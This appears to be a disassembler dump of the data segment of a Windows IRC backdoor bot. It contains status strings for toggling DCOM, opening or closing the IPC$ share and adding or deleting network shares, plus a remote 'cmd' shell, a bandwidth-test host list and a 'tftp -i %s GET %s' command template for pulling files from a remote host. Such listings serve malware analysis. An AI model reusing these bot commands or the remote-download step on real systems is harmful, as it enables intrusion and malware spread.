db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToOpenDc db 'Failed to open DCOM registry key.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: seg000:00419907o align 4 unk_44EEF8 db 2 ; DATA XREF: seg000:00419920o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToRestri db 'Failed to restrict access to the IPC$ Share.',0 align 10h unk_44EF50 db 2 ; DATA XREF: seg000:loc_419927o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aRestrictedAcce db 'Restricted access to the IPC$ Share.',0 align 10h unk_44EFA0 db 2 ; DATA XREF: seg000:loc_419945o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToOpenIp db 'Failed to open IPC$ Restriction registry key.',0 align 4 unk_44EFF8 db 2 ; DATA XREF: seg000:loc_41994Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aAdvapi32_dllCo db 'Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_44F044 db 2 ; DATA XREF: seg000:00419A75o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aShareSDeleted_ db 'Share ',27h,'%S',27h,' deleted.',0 unk_44F080 db 2 ; DATA XREF: seg000:loc_419A7Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToDelete db 'Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_44F0C8 db 2 ; DATA XREF: seg000:004199E2o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aShareSDelete_0 db 'Share ',27h,'%s',27h,' deleted.',0 unk_44F104 db 2 ; DATA XREF: seg000:loc_4199E9o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToDele_0 db 'Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_44F14C db 2 ; DATA XREF: seg000:00419AE9o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aNetworkSharesD db 'Network shares deleted.',0 unk_44F18C db 2 ; DATA XREF: seg000:00419AFFo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aNetapi32_dllCo db 'Netapi32.dll couldn',27h,'t be loaded.',0 align 4 word_44F1D8 dw 59h ; DATA XREF: seg000:00419B76r align 4 aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: seg000:00419B92o align 4 unk_44F1E8 db 2 ; DATA XREF: seg000:00419BA4o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aEnableDcomFail db 'Enable DCOM failed.',0 dword_44F224 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F0253h ; DATA XREF: seg000:loc_419BABo dd 263021Fh, 65720275h, 31300302h, 3531032Ch, 2032033Ah dd 4D4F4344h, 616E6520h, 64656C62h, 2Eh unk_44F25C db 2 ; DATA XREF: seg000:00419BCFo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToOpen_0 db 'Failed to open DCOM registry key.',0 align 4 aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: seg000:00419C2Bo align 4 unk_44F2BC db 2 ; DATA XREF: seg000:00419C40o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToUnrest db 'Failed to unrestrict access to the IPC$ Share.',0 align 4 unk_44F314 db 2 ; DATA XREF: seg000:loc_419C47o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aUnrestrictedAc db 'Unrestricted access to the IPC$ Share.',0 align 4 unk_44F364 db 2 ; DATA XREF: seg000:loc_419C65o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToOpen_1 db 'Failed to open IPC$ restriction registry key.',0 align 4 unk_44F3BC db 2 ; DATA XREF: seg000:loc_419C6Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aAdvapi32_dll_0 db 'Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_44F408 db 2 ; DATA XREF: seg000:00419CD0o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aShareSAdded_ db 'Share ',27h,'%s',27h,' added.',0 align 4 dword_44F444 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F0253h ; DATA XREF: seg000:loc_419CD7o dd 263021Fh, 65720275h, 31300302h, 3531032Ch, 2032033Ah dd 6C696146h, 74206465h, 6461206Fh, 25272064h, 73202773h dd 65726168h, 2Eh, 246325h, 5C3A6325h, 0 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aShareSAdded__0 db 'Share ',27h,'%s',27h,' added.',0 align 10h db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToAddSSh db 'Failed to add ',27h,'%s',27h,' share.',0 align 4 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aNetworkSharesA db 'Network shares added.',0 align 4 unk_44F554 db 2 ; DATA XREF: seg000:00419E16o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aNetapi32_dll_1 db 'Netapi32.dll couldn',27h,'t be loaded.',0 align 10h aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_419E6F+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 asc_44F5D4 db 0Dh,0Ah,0 ; DATA XREF: sub_419E6F+F2o align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: seg000:0041A05Fo aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: seg000:0041A066o align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: seg000:0041A06Do align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: seg000:0041A074o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: seg000:0041A07Bo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: seg000:0041A082o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: seg000:0041A089o align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: seg000:0041A090o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: seg000:0041A097o align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: seg000:0041A09Eo align 4 aWww_verio_com db 'www.verio.com',0 ; DATA XREF: seg000:0041A0A5o align 4 aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: seg000:0041A0ACo aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: seg000:0041A0B3o aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: seg000:0041A0BAo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: seg000:0041A0C1o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: seg000:0041A0C8o align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: seg000:0041A0CFo align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: seg000:0041A0D6o align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: seg000:0041A0DDo align 4 aWww_google_com db 'www.google.com',0 ; DATA XREF: seg000:0041A0E4o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: seg000:0041A0EBo aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: seg000:0041A0F2o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: seg000:0041A0F9o align 4 aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: seg000:0041A100o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: seg000:0041A107o aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: seg000:0041A10Eo align 4 dword_44F784 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2700253h ; DATA XREF: seg000:0041A1F1o dd 651F0265h, 5402641Fh, 74736502h, 2C323003h, 3A353103h dd 2203203h, 6F727545h, 3A026570h, 20642520h, 7469626Bh dd 220732Fh, 2415355h, 6425203Ah, 69626B20h, 20732F74h dd 69734102h, 203A0261h, 6B206425h, 2F746962h, 41022073h dd 61726576h, 3A026567h, 20642520h, 7469626Bh, 732Fh dword_44F7FC dd 20646425h, 20686425h, 6D6425hdword_44F808 dd 3539h dword_44F80C dd 544Eh dword_44F810 dd 3839h dword_44F814 dd 454Dh dword_44F818 dd 4B32h dword_44F81C dd 5058h a2003 db '2003',0 ; DATA XREF: seg000:0041A49Eo align 4 a??? db '???',0 ; DATA XREF: seg000:loc_41A4A7o aSS_6 db '%s (%s)',0 ; DATA XREF: seg000:0041A4CFo word_44F834 dw 3Fh ; DATA XREF: seg000:loc_41A4E6r align 4 aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: seg000:loc_41A548o align 10h aDdMmmYyyy db 'dd:MMM:yyyy',0 aHhMmSs_0 db 'HH:mm:ss',0 align 4 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2790253h dd 2690273h, 266026Eh, 3003026Fh, 31032C32h, 32035D35h dd 50430220h, 203A0255h, 34364925h, 7A484D75h, 5202202Eh dd 3A024D41h, 4B732520h, 6F742042h, 2C6C6174h, 4B732520h dd 72662042h, 202E6565h, 73694402h, 203A026Bh, 74207325h dd 6C61746Fh, 7325202Ch, 65726620h, 2202E65h, 3A02534Fh dd 6E695720h, 73776F64h, 20732520h, 2E642528h, 202C6425h dd 6C697542h, 64252064h, 2202E29h, 64737953h, 3A027269h dd 2E732520h, 6F480220h, 616E7473h, 3A02656Dh, 20732520h dd 29732528h, 4302202Eh, 65727275h, 5520746Eh, 2726573h dd 7325203Ah, 4402202Eh, 2657461h, 7325203Ah, 5402202Eh dd 2656D69h, 7325203Ah, 5502202Eh, 6D697470h, 203A0265h dd 2E7325h dword_44F95C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_44F96C dd 6C616944h, 70752Dhoff_44F974 dd offset dword_4E414C ; DATA XREF: sub_41A698:loc_41A705o off_44F978 dd offset loc_412F4C+2 ; DATA XREF: sub_41A698+77o off_44F97C dd offset loc_412F4C+2 ; DATA XREF: sub_41A698+88o dword_44F980 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 265024Eh ; DATA XREF: sub_41A698+AEo dd 2690274h, 266026Eh, 3003026Fh, 31032C32h, 32035D35h dd 79540220h, 3A026570h, 20732520h, 29732528h, 4902202Eh dd 64412050h, 73657264h, 203A0273h, 202E7325h, 736F4802h dd 6D616E74h, 203A0265h, 2E7325h byte_44F9DC db 63h ; DATA XREF: seg000:0041AA86o ; seg000:0041AA99r db 6Dh, 64h, 0 aExit db 'exit',0 ; DATA XREF: seg000:0041ABF1o ; seg000:loc_41AC03r align 4 word_44F9E8 dw 4 ; DATA XREF: sub_41A764+10r align 4 word_44F9EC dw 1 ; DATA XREF: sub_41A764+24r align 10h dword_44F9F0 dd 20424652h, 2E333030h, 0A383030h, 0dword_44FA00 dd 201h word_44FA04 dw 1 ; DATA XREF: seg000:0041A8BEr align 4 word_44FA08 dw 1 ; DATA XREF: seg000:0041A8F7r align 4 dword_44FA0C dd 0EBFFh, 51FFhdword_44FA14 dd 0DFFh word_44FA18 dw 72h ; DATA XREF: seg000:0041A903r align 4 dword_44FA1C dd 6325h aTftpISGetS db 'tftp -i %s GET %s',0 ; DATA XREF: seg000:0041AB11o align 4 aC_1 db '%c',0 ; DATA XREF: seg000:0041AB3Do align 4 aC_2 db '%c',0 ; DATA XREF: seg000:0041ABABo align 4 aC_3 db '%c',0 ; DATA XREF: seg000:0041AC0Bo align 10h dword_44FA40 dd 1 ; sub_41AF30+F2r ... dword_44FA44 dd 1 ; sub_41AF30:loc_41B0E5r ... dword_44FA48 dd 0FFFFFFFFh ; sub_41B330+9Er ... byte_44FA4C db 0FDh ; DATA XREF: sub_41AF30+2B7r ; sub_41AF30+2D1r ... byte_44FA4D db 0DDh ; DATA XREF: sub_41B920+257r ; sub_41B920+39Br ... byte_44FA4E db 0CDh ; DATA XREF: sub_41AF30+2F1r ; sub_41B330+377r align 10h off_44FA50 dd offset aFree ; DATA XREF: sub_41B920+177r ; sub_41B920+1DDr ... ; "Free" dd offset dword_4394FC+20h dd offset dword_4394FC+1Ch dd offset dword_4394FC+14h dd offset dword_4394FC+0Ch align 10h off_44FA70 dd offset dword_4EF080 ; DATA XREF: sub_41EF20+B3o ; sub_41F070+3o ... align 8 dd offset dword_4EF080 dd 101h dword_44FA80 dd 0 dd 0 dd 1000h, 0 dword_44FA90 dd 3 dup(0) ; sub_424A30+111o ... dd 2, 1, 3 dup(0) dword_44FAB0 dd 3 dup(0) ; sub_4269E0:loc_426A45o dd 2 dup(2), 83h dup(0) dword_44FCD0 dd 8 dup(0) ; sub_41F0E0+Co dword_44FCF0 dd 173Fh dd 9875h, 9873h off_44FCFC dd offset sub_41F290 ; DATA XREF: sub_41D990+3r ; sub_41D990+Cr dd offset sub_41F2C0 dd offset sub_41F2C0 dword_44FD08 dd 1B3Fh dword_44FD0C dd 19930520h, 4 dup(0) ; sub_41F966+2o dword_44FD20 dd 1 ; sub_41CB60+4Er ... byte_44FD24 db 2Eh ; DATA XREF: sub_426BE0:loc_427A67r ; sub_426BE0+ED2r ... align 4 dword_44FD28 dd 1 ; sub_431120+296w align 10h off_44FD30 dd offset sub_41D9F0 ; DATA XREF: sub_420CA0+22r dword_44FD34 dd 2 ; sub_42CB30+86r ... dword_44FD38 dd 0FFFFFFFFh ; seg000:00421086o ... dword_44FD3C dd 2 ; seg000:00420D49r ... dd 2 dup(4) dword_44FD48 dd 0FFFFFFFFh ; seg000:00420D9Cr ... dd 2 dup(0FFFFFFFFh) off_44FD54 dd offset aWarning ; DATA XREF: sub_4211A0+284r ; "Warning" dd offset aError ; "Error" dd offset dword_439D28+0Ch dword_44FD60 dd 0 ; sub_4219E0+44r ... off_44FD64 dd offset dword_4EE9F0 ; DATA XREF: sub_4219A0+29r ; sub_4219E0+8Fr dd 7 dup(0) off_44FD84 dd offset dword_4EEA20 ; DATA XREF: sub_4219A0+1Cr ; sub_4219E0:loc_421A49r dd 3 dup(0) off_44FD94 dd offset dword_4EEA38 ; DATA XREF: sub_4219A0+Fr ; sub_4219E0+75r dd 3 dup(0) off_44FDA4 dd offset dword_4EEA08 ; DATA XREF: sub_4219A0+3r ; sub_4219E0+82r dd 1Eh dup(0) off_44FE20 dd offset sub_421C50 ; DATA XREF: sub_41AF30+79r ; sub_41B330+C1r ... dd 10h dword_44FE28 dd 3F8h ; sub_421C60+3Cr ... off_44FE2C dd offset word_44FE36 ; DATA XREF: sub_41CB60+7Cr ; sub_41D460+2Dr ... off_44FE30 dd offset word_44FE36 ; DATA XREF: seg000:00431B54w ; seg000:00431C0Bw db 2 dup(0) word_44FE36 dw 20h ; DATA XREF: seg000:loc_431C01o ; seg000:00431C0Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) off_450038 dd offset aNull_0 ; DATA XREF: sub_424CB0:loc_4250F2r ; sub_424CB0+57Cr ; "(null)" off_45003C dd offset aNull ; DATA XREF: sub_424CB0+514r ; "(null)" dword_450040 dd 0FFFFFFFFh ; sub_425B50+14r ... align 8 byte_450048 db 1 ; DATA XREF: seg000:00425F2Fr db 2, 4, 8 align 10h dword_450050 dd 3A4h word_450054 dw 8260h ; DATA XREF: seg000:00425F92r ; seg002:004469E0o dw 8279h dd 21h, 0 dword_450060 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_450140 dd 1 dword_450144 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_4502A8 dd 0D2D0920h, 5Dhdword_4502B0 dd 5Dh, 0 dword_4502B8 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; sub_424A30:loc_424C29o dword_4502E0 dd 14h off_4502E4 dd offset aExp ; DATA XREF: sub_429230+2Er ; "exp" dd 1Dh, 43A180h, 1Ah, 43A17Ch, 1Bh, 43A174h, 1Fh, 43A16Ch dd 13h, 43A164h, 21h, 43A15Ch, 0Eh, 43A154h, 0Dh, 43A14Ch dd 0Fh, 43A144h, 10h, 43A13Ch, 5, 43A134h, 1Eh, 43A130h dd 12h, 43A12Ch, 20h, 43A128h, 0Ch, 43A120h, 0Bh, 43A118h dd 15h, 43A110h, 1Ch, 43A108h, 19h, 43A100h, 11h, 43A0F8h dd 18h, 43A0F0h, 16h, 43A0E8h, 17h, 43A0E0h, 22h, 43A0DCh dd 23h, 43A0D8h, 24h, 43A0D4h dbl_4503B8 dq 1.797693134862316e308 ; DATA XREF: sub_428DD0+E4r ; sub_428DD0:loc_428EC7r ... dd 0 dd 0FFF80000h dbl_4503C8 dq 1.797693134862316e308 ; DATA XREF: sub_428DD0:loc_428F0Ar ; sub_428DD0+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4503E0 dt 2.3562723457267347066e313 ; DATA XREF: sub_429620+13r ; sub_429620+2Ar align 4 tbyte_4503EC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_429620+41r align 4 off_4503F8 dd offset sub_430640 ; DATA XREF: sub_41F2D0+3w ; sub_424CB0+6ADr off_4503FC dd offset sub_430640 ; DATA XREF: sub_41F2D0+Dw ; sub_424CB0+6F1r off_450400 dd offset sub_430640 ; DATA XREF: sub_41F2D0+17w ; sub_426BE0+1138r off_450404 dd offset sub_430640 ; DATA XREF: sub_41F2D0+21w ; sub_424CB0+6CFr off_450408 dd offset sub_430640 ; DATA XREF: sub_41F2D0+2Bw off_45040C dd offset sub_430640 ; DATA XREF: sub_41F2D0+35w dd offset sub_430650 align 10h off_450420 dd offset sub_42AB50 ; DATA XREF: sub_42AC00+2Dr ; sub_42AC00+3Dr dword_450424 dd 43h ; seg002:00450540o ... dword_450428 dd 43h, 20h dup(0) ; sub_42B320+117o ... dword_4504AC dd 43h, 20h dup(0) ; sub_42B320+FCo ... off_450530 dd offset aLc_all ; DATA XREF: seg000:0042AE0Fr ; seg000:0042AE28r ... ; "LC_ALL" dword_450534 dd 0 ; seg000:0042AFB0r ... off_450538 dd offset sub_42B4B0 ; DATA XREF: sub_42B080+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_450424 dd offset sub_431C50 dd offset aLc_ctype ; "LC_CTYPE" off_45054C dd offset dword_450424 ; DATA XREF: sub_42B220+F0r dd offset loc_4318B0 dd offset aLc_monetary ; "LC_MONETARY" dd offset dword_450424 dd offset sub_431450 dd offset aLc_numeric ; "LC_NUMERIC" dd offset dword_450424 dd offset sub_431120 dd offset aLc_time ; "LC_TIME" dd offset dword_450424 dd offset sub_4307A0 dword_450578 dd 0C0000005h, 0Bh, 0 ; seg000:00425D9Eo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4505F0 dd 3 ; sub_42BEA0:loc_42BF4Br ... dword_4505F4 dd 7 ; sub_42D300+17Dr dword_4505F8 dd 78h ; seg000:0042D196r dword_4505FC dd 0Ah ; sub_42C060:loc_42C092r ... dword_450600 dd 2 ; sub_42CB30+3Dr ... off_450604 dd offset aR6002FloatingP ; DATA XREF: sub_42CB30+56r ; sub_42CB30+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 43A520h, 9, 43A4F4h, 0Ah, 43A4D0h, 10h, 43A4A4h dd 11h, 43A474h, 12h, 43A450h, 13h, 43A424h, 18h, 43A3ECh dd 19h, 43A3C4h, 1Ah, 43A38Ch, 1Bh, 43A354h, 1Ch, 43A32Ch dd 78h, 43A31Ch, 79h, 43A30Ch, 7Ah, 43A2FCh, 0FCh, 43A2F8h dd 0FFh, 43A2E8h dword_450690 dd 7080h ; seg000:0042EE60w ... dword_450694 dd 1 ; seg000:0042EE9Fw ... dword_450698 dd 0FFFFF1F0h ; seg000:0042EEB7w ... dword_45069C dd 545350h, 0Fh dup(0)dword_4506DC dd 544450h, 0Fh dup(0)off_45071C dd offset dword_45069C ; DATA XREF: seg000:0042EEDAr ; seg000:0042EF03r ... off_450720 dd offset dword_4506DC ; DATA XREF: seg000:0042EF20r ; seg000:0042EF4Ar ... align 8 dword_450728 dd 0FFFFFFFFh ; sub_42F1C0+1Ar ... dword_45072C dd 0 ; sub_42F1C0+20Fr ... dword_450730 dd 0 ; sub_42F4C0+13Dw align 8 dword_450738 dd 0FFFFFFFFh ; seg000:0042EE0Br ... dword_45073C dd 0 ; sub_42F1C0+21Dr ... dword_450740 dd 0 ; sub_42F4C0+1Dr ... dword_450744 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_450774 dd 16Dh ; sub_42F4C0+2Cr ... dword_450778 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch dword_4507AC dd 2694h ; seg000:0042870Fr ... dword_4507B0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4507C8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_4507E0 dd 40Ah ; sub_432800+147r a040a db '040a',0 ; DATA XREF: sub_432800+9Ao align 4 off_4507EC dd offset aSpanishTraditi ; DATA XREF: sub_432800+ABr ; "Spanish - Traditional Sort" off_4507F0 dd offset byte_505345 ; DATA XREF: sub_432800+BCo off_4507F4 dd offset aSpain ; DATA XREF: sub_432800+CDr ; "Spain" off_4507F8 dd offset byte_505345 ; DATA XREF: sub_432800+DEo dword_4507FC dd 303538h, 0 a1252 db '1252',0 ; DATA XREF: sub_432800+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd 